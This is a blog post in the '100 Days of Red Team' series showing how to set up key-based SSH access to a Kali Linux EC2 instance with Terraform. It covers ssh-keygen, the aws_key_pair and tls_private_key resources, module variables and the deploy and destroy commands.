key-based SSH access.]]></description><link>https://www.100daysofredteam.com/p/red-team-infrastructure-adding-key-based-ssh-access-via-terraform</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/red-team-infrastructure-adding-key-based-ssh-access-via-terraform</guid><dc:creator><![CDATA[Uday Mittal]]></dc:creator><pubDate>Thu, 15 May 2025 14:30:47 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/fc4c3aea-038c-458f-91a7-1660c7c07e09_614x614.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In previous posts, we successfully laid the groundwork for red team infrastructure on AWS. We <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-vpc-creation-with-terraform">configured a custom VPC</a>, <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-subnet-creation-with-terraform">created public and private subnets, set up internet access with an Internet Gateway and route tables</a>, and <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-ec2-kali-linux-deployment-with-terraform">launched a Kali Linux EC2 instance as an attacker box</a>. So far, we&#8217;ve relied on password to access the EC2 instance via SSH. However, when it comes to securing red team infrastructure in real-world scenarios, especially during long-running operations, it's time to shift gears and adopt SSH key-based authentication.</p><h4>Why key-based access is preferred?</h4><p>Password-based authentication, while simple to set up, poses significant security risks. Passwords can be brute-forced, stolen, or reused across systems. In contrast, SSH key-based access is far more secure. It relies on a pair of cryptographic keys &#8212; a public key, which gets stored on the server, and a private key, which stays with the operator. Access is granted only when the private key correctly matches the public key, making it virtually impossible for unauthorized users to gain access without possessing the private key.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><p>From a red team perspective, key-based access minimizes detection opportunities and provides more reliable persistence mechanisms. Additionally, SSH keys eliminate the need to hardcode credentials or use environment variables for secrets &#8212; a win for operational security (OPSEC).</p><p>Before deploying our instance with key-based access, we need an SSH key pair. There are two ways to create this key pair: manually using tools like <code>ssh-keygen</code>, or automatically using Terraform.</p><h4>Generating SSH key pairs (manually)</h4><p>This method gives you full control over the key generation process, ensuring that the private key never leaves your local system.</p><p>The following command can be used to generate public/private key pair (you may need to change the path specified via <code>-f</code>):</p><pre><code>ssh-keygen -t rsa -b 4096 -f ~/.ssh/redteam_kali -C "redteam@100days"</code></pre><p>This creates:</p><ul><li><p><code>~/.ssh/redteam_kali</code> (the private key) &#8212; keep this safe and never upload it.</p></li><li><p><code>~/.ssh/redteam_kali.pub</code> (the public key) &#8212; can be safely uploaded to AWS or shared.</p></li></ul><p>To use this key within your Terraform project, add the <code>aws_key_pair</code> resource in main.tf. The <code>aws_key_pair</code> resource in Terraform is used to register an SSH public key with AWS. This key is then associated with EC2 instances so that users can log in securely using the corresponding private key.</p><pre><code>resource "aws_key_pair" "manual_key" {
  key_name   = "100daysofredteam-key"
  public_key = file("~/.ssh/redteam_kali.pub")

  tags = {
    Name = "100daysofredteam-sshkey-${var.environment}"
  }
}</code></pre><p>Next, add this key to the <code>ec2_instance</code> module:</p><pre><code>module "ec2_kali" {
  source            = "./modules/ec2_instance"
  ami_id            = var.ami_id
  instance_type     = var.instance_type
  subnet_id         = module.network.public_subnet_id
  security_group_id = module.sg.kali_sg_id
  associate_public_ip = true
  key_name          = aws_key_pair.manual_key.key_name
  environment       = var.environment
}</code></pre><p>You will also need to add the <code>key_name</code> variable definition to variables.tf within <code>ec2_instance</code> module:</p><pre><code>variable "key_name" {
  type        = string
  description = "The name of the SSH key pair to associate with the EC2 instance"
  validation {
    condition     = length(var.key_name) &gt; 0
    error_message = "key_name must not be empty."
  }
}</code></pre><p>Post this, when you run <code>terraform apply</code>, Terraform will automatically upload the public key to AWS and attach it to the EC2 instance. If this does not work, you can manually upload the public key via following steps:</p><ul><li><p>Go to the <strong>AWS EC2 Console</strong>.</p></li><li><p>In the left menu, select <strong>Key Pairs</strong> under <strong>Network &amp; Security</strong>.</p></li><li><p>Click <strong>Actions</strong> &gt; Select <strong>Import Key Pair</strong>.</p></li><li><p>Provide a name (e.g., <code>redteam-kali-key</code>) and paste the contents of <code>redteam_kali.pub</code>.</p></li><li><p>Click <strong>Import key pair</strong>.</p></li></ul><h4>Generating SSH key pairs (via Terraform)</h4><p>Terraform allows you to generate SSH key pairs dynamically using the <code>tls_private_key</code> resource. This is helpful for fully automated deployments &#8212; especially in short-lived or disposable environments &#8212; where key generation, instance creation, and destruction are handled in one pipeline.</p><blockquote><p><strong>Note: </strong>While convenient, be cautious &#8212; if local state is compromised, so is your private key.</p></blockquote><p>Here&#8217;s how it works:</p><pre><code>resource "tls_private_key" "ssh_key" {
  algorithm = "RSA"
  rsa_bits  = 4096
}</code></pre><p>This key can be registered in the AWS EC2 console using the aws_key_pair resource:</p><pre><code>resource "aws_key_pair" "generated_key" {
  key_name   = var.key_name
  public_key = tls_private_key.ssh_key.public_key_openssh

  tags = {
    Name = "100daysofredteam-sshkey-${var.environment}"
  }
}</code></pre><ul><li><p><code>tls_private_key</code> generates a new SSH key pair.</p></li><li><p><code>public_key_openssh</code> returns the public key in a format accepted by AWS.</p></li><li><p>The <code>aws_key_pair</code> resource registers that public key in the AWS EC2 console under the specified <code>key_name</code>.</p></li></ul><p>To write the private key to disk, you might use the <code>local_file</code> resource &#8212; but again, be extremely careful. The <code>local_file</code> resource is a utility in Terraform that allows you to write text content to a file on the local machine running Terraform.</p><pre><code>resource "local_file" "private_key" {
  content          = tls_private_key.this.private_key_pem
  filename         = "${path.module}/${var.key_name}.pem"
  file_permission  = "0600"
  count            = var.write_private_key ? 1 : 0
}</code></pre><blockquote><p><strong>Note:</strong> The <code>tls_private_key</code> resource does not require OpenSSH or any external tools to be installed. Terraform handles key generation internally using Go libraries.</p></blockquote><h4>Deploying the EC2 instance with key-based access via SSH</h4><p>Refer to the <a href="https://www.100daysofredteam.com/p/kickstarting-red-team-infrastructure-automation-via-terraform">Kickstarting red team infrastructure automation via Terraform</a> to understand the architecture we are working with.</p><p>We will use the following updated directory structure (note that we have added a new module, ssh_key):</p><pre><code>red-team-infra/
&#9500;&#9472;&#9472; main.tf
&#9500;&#9472;&#9472; variables.tf
&#9500;&#9472;&#9472; outputs.tf
&#9500;&#9472;&#9472; terraform.tfvars
&#9500;&#9472;&#9472; providers.tf
&#9500;&#9472;&#9472; secrets.tfvars  # &lt;--- manually created, not committed
&#9492;&#9472;&#9472; modules/
    &#9500;&#9472;&#9472; vpc/
    &#9474;   &#9500;&#9472;&#9472; main.tf
    &#9474;   &#9500;&#9472;&#9472; variables.tf
    &#9474;   &#9492;&#9472;&#9472; outputs.tf
    &#9500;&#9472;&#9472; subnet/
    &#9474;   &#9500;&#9472;&#9472; main.tf
    &#9474;   &#9500;&#9472;&#9472; variables.tf
    &#9474;   &#9492;&#9472;&#9472; outputs.tf
    &#9500;&#9472;&#9472; internet_gateway/
    &#9474;   &#9500;&#9472;&#9472; main.tf
    &#9474;   &#9500;&#9472;&#9472; variables.tf
    &#9474;   &#9492;&#9472;&#9472; outputs.tf
    &#9500;&#9472;&#9472; route_tables/
    &#9474;   &#9500;&#9472;&#9472; main.tf
    &#9474;   &#9500;&#9472;&#9472; variables.tf
    &#9474;   &#9492;&#9472;&#9472; outputs.tf
    &#9500;&#9472;&#9472; ec2_instance/
    &#9474;   &#9500;&#9472;&#9472; main.tf
    &#9474;   &#9500;&#9472;&#9472; variables.tf
    &#9474;   &#9492;&#9472;&#9472; outputs.tf
    &#9500;&#9472;&#9472; security_group/
    &#9474;   &#9500;&#9472;&#9472; main.tf
    &#9474;   &#9500;&#9472;&#9472; variables.tf
    &#9474;   &#9492;&#9472;&#9472; outputs.tf
    &#9492;&#9472;&#9472; ssh_key/
        &#9500;&#9472;&#9472; main.tf
        &#9500;&#9472;&#9472; variables.tf
        &#9492;&#9472;&#9472; outputs.tf</code></pre><blockquote><p><strong>Reminder</strong>: You must create a <code>secrets.tfvars</code> file manually to hold credentials. Never commit secrets to version control. It contains AWS credentials temporarily stored in plain text, which is not recommended for production environments. Also, we are still using local state files for simplicity. In a real red team deployment, you must use an encrypted remote backend.</p></blockquote><p>Here is the <a href="https://github.com/100daysofredteam/Terraform/tree/main/Red%20Team%20Infra/AWS/EC2-Kali-SSH-Key-Access">Terraform Red Team Infrastructure project in 100 Days of Red Team GitHub repository</a> that deploys a Kali Linux EC2 instance with key-based SSH access in AWS. </p><p>Clone this project to your machine and execute the following commands to deploy the infrastructure:</p><blockquote><p>Following permissions need to be added to the <code>TerraformEC2Access</code> IAM policy before using the above mentioned project:</p><ul><li><p>ec2:ImportKeyPair</p><p>ec2:DeleteKeyPair</p></li></ul></blockquote><p>&#9888;&#65039;<strong>Reminder: </strong>Switch to the dev Terraform workspace (<code>terraform workspace select dev)</code> before executing following commands. To create dev workspace use, <code>terraform workspace new dev</code>.</p><pre><code><code>terraform init
terraform plan -var-file "secrets.tfvars"
terraform apply -var-file "secrets.tfvars"</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ciq-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe11f531c-23d4-46f9-8d31-4aecf1aa6ec8_982x328.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ciq-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe11f531c-23d4-46f9-8d31-4aecf1aa6ec8_982x328.jpeg 424w, https://substackcdn.com/image/fetch/$s_!ciq-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe11f531c-23d4-46f9-8d31-4aecf1aa6ec8_982x328.jpeg 848w, https://substackcdn.com/image/fetch/$s_!ciq-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe11f531c-23d4-46f9-8d31-4aecf1aa6ec8_982x328.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!ciq-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe11f531c-23d4-46f9-8d31-4aecf1aa6ec8_982x328.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ciq-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe11f531c-23d4-46f9-8d31-4aecf1aa6ec8_982x328.jpeg" width="982" height="328" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e11f531c-23d4-46f9-8d31-4aecf1aa6ec8_982x328.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:328,&quot;width&quot;:982,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:65452,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163385882?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe11f531c-23d4-46f9-8d31-4aecf1aa6ec8_982x328.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ciq-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe11f531c-23d4-46f9-8d31-4aecf1aa6ec8_982x328.jpeg 424w, https://substackcdn.com/image/fetch/$s_!ciq-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe11f531c-23d4-46f9-8d31-4aecf1aa6ec8_982x328.jpeg 848w, https://substackcdn.com/image/fetch/$s_!ciq-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe11f531c-23d4-46f9-8d31-4aecf1aa6ec8_982x328.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!ciq-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe11f531c-23d4-46f9-8d31-4aecf1aa6ec8_982x328.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Deploying AWS infrastructure via Terraform</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!EDhT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b2b69c9-a561-41aa-a744-e3767d0ec69f_1540x318.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!EDhT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b2b69c9-a561-41aa-a744-e3767d0ec69f_1540x318.jpeg 424w, https://substackcdn.com/image/fetch/$s_!EDhT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b2b69c9-a561-41aa-a744-e3767d0ec69f_1540x318.jpeg 848w, https://substackcdn.com/image/fetch/$s_!EDhT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b2b69c9-a561-41aa-a744-e3767d0ec69f_1540x318.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!EDhT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b2b69c9-a561-41aa-a744-e3767d0ec69f_1540x318.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!EDhT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b2b69c9-a561-41aa-a744-e3767d0ec69f_1540x318.jpeg" width="1456" height="301" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7b2b69c9-a561-41aa-a744-e3767d0ec69f_1540x318.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:301,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:62054,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163385882?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b2b69c9-a561-41aa-a744-e3767d0ec69f_1540x318.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!EDhT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b2b69c9-a561-41aa-a744-e3767d0ec69f_1540x318.jpeg 424w, https://substackcdn.com/image/fetch/$s_!EDhT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b2b69c9-a561-41aa-a744-e3767d0ec69f_1540x318.jpeg 848w, https://substackcdn.com/image/fetch/$s_!EDhT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b2b69c9-a561-41aa-a744-e3767d0ec69f_1540x318.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!EDhT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7b2b69c9-a561-41aa-a744-e3767d0ec69f_1540x318.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">SSH key registered in AWS via Terraform</figcaption></figure></div><p>Once the Kali Linux EC2 instance has been created, you can connect it via following command:</p><pre><code>ssh -l kali -i .\modules\ssh_key\100daysofredteam-kali.pem &lt;Public IP of EC2 instance&gt;</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Mm_i!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b409eaa-a528-47c4-90fc-00c411ea1c11_1092x536.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Mm_i!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b409eaa-a528-47c4-90fc-00c411ea1c11_1092x536.jpeg 424w, https://substackcdn.com/image/fetch/$s_!Mm_i!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b409eaa-a528-47c4-90fc-00c411ea1c11_1092x536.jpeg 848w, https://substackcdn.com/image/fetch/$s_!Mm_i!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b409eaa-a528-47c4-90fc-00c411ea1c11_1092x536.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!Mm_i!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b409eaa-a528-47c4-90fc-00c411ea1c11_1092x536.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Mm_i!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b409eaa-a528-47c4-90fc-00c411ea1c11_1092x536.jpeg" width="1092" height="536" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2b409eaa-a528-47c4-90fc-00c411ea1c11_1092x536.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:536,&quot;width&quot;:1092,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:129810,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163385882?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b409eaa-a528-47c4-90fc-00c411ea1c11_1092x536.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Mm_i!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b409eaa-a528-47c4-90fc-00c411ea1c11_1092x536.jpeg 424w, https://substackcdn.com/image/fetch/$s_!Mm_i!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b409eaa-a528-47c4-90fc-00c411ea1c11_1092x536.jpeg 848w, https://substackcdn.com/image/fetch/$s_!Mm_i!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b409eaa-a528-47c4-90fc-00c411ea1c11_1092x536.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!Mm_i!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b409eaa-a528-47c4-90fc-00c411ea1c11_1092x536.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Using the generated SSH key to access the Kali Linux EC2 instance</figcaption></figure></div><p>Once done, remember to destroy the infrastructure via following command (or you may incur significant costs):</p><pre><code><code>terraform destroy -var-file "secrets.tfvars"</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4Rvc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf15117-f33d-45b1-9a91-6c8fcba71268_1107x410.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4Rvc!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf15117-f33d-45b1-9a91-6c8fcba71268_1107x410.jpeg 424w, https://substackcdn.com/image/fetch/$s_!4Rvc!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf15117-f33d-45b1-9a91-6c8fcba71268_1107x410.jpeg 848w, https://substackcdn.com/image/fetch/$s_!4Rvc!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf15117-f33d-45b1-9a91-6c8fcba71268_1107x410.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!4Rvc!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf15117-f33d-45b1-9a91-6c8fcba71268_1107x410.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4Rvc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf15117-f33d-45b1-9a91-6c8fcba71268_1107x410.jpeg" width="1107" height="410" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0bf15117-f33d-45b1-9a91-6c8fcba71268_1107x410.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:410,&quot;width&quot;:1107,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:167735,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163385882?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf15117-f33d-45b1-9a91-6c8fcba71268_1107x410.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4Rvc!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf15117-f33d-45b1-9a91-6c8fcba71268_1107x410.jpeg 424w, https://substackcdn.com/image/fetch/$s_!4Rvc!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf15117-f33d-45b1-9a91-6c8fcba71268_1107x410.jpeg 848w, https://substackcdn.com/image/fetch/$s_!4Rvc!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf15117-f33d-45b1-9a91-6c8fcba71268_1107x410.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!4Rvc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bf15117-f33d-45b1-9a91-6c8fcba71268_1107x410.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 